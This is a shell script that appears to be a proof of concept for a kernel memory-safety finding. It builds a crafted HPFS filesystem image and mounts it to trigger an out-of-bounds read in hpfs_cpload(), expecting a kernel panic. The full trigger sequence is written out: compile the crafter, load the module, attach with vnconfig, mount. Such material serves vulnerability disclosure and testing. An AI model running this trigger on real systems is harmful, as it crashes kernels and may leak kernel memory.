#!/bin/sh
# DF-0863 run: build the crafted HPFS image (d_cpcnt=0xFFFF in the CPD sector)
# and mount it to trigger the OOB read past the fixed-size d_cpdblk[3] array
# in hpfs_cpload() at sys/vfs/hpfs/hpfs_subr.c:228.
#
# Threat model: a crafted HPFS filesystem image.  The mounter (root, or an
# unprivileged user after vfs.usermount=1 + an image/memory-disk owned by them
# -- both realistic admin preconditions per AGENT.md) mounts the attacker's
# image and the kernel reads OOB past the 512-byte bp->b_data buffer in
# hpfs_cpload() -> kernel panic / heap-info-leak at mount.
#
# HPFS is a shipped loadable module (/boot/kernel/hpfs.ko); `kldload hpfs` just
# enables the filesystem parser (a standard admin action, NOT part of any
# privilege escalation -- this is a memory-safety / DoS finding, impact ceiling
# is a mount-time kernel panic).
#
# MUST be run as root (kldload / vnconfig / mount).  Force /bin/sh.
#   usage: ./run.sh
set -e
cd "$(dirname "$0")"

# 1. craft the image (d_cpcnt = 0xFFFF -> loop walks past d_cpdblk[3])
[ -x craft_img ] || cc -O2 -Wall -o craft_img craft_img.c
./craft_img crafted.img 0xFFFF

# 2. enable the HPFS filesystem parser (shipped module)
kldload hpfs 2>/dev/null || kldstat | grep -q hpfs || { echo "FATAL: cannot load hpfs.ko"; exit 1; }

# 3. attach the image to a memory disk
DEV=$(vnconfig -c vn "$(pwd)/crafted.img" 2>&1 | grep -oE 'vn[0-9]+' | head -1)
[ -n "$DEV" ] || { echo "FATAL: vnconfig failed"; exit 1; }
echo "[run] attached crafted.img -> /dev/$DEV"

mkdir -p /mnt/df0863
echo "[run] mounting crafted HPFS image -- on the UNPATCHED kernel expect a panic"
echo "      in hpfs_cpload() at sys/vfs/hpfs/hpfs_subr.c:228"
echo "      (ssh will hang; the panic lands in the serial console / boot.log)"
mount -t hpfs -o ro "/dev/$DEV" /mnt/df0863
RC=$?
echo "[run] mount returned rc=$RC (if you see this, the bug did NOT fire)"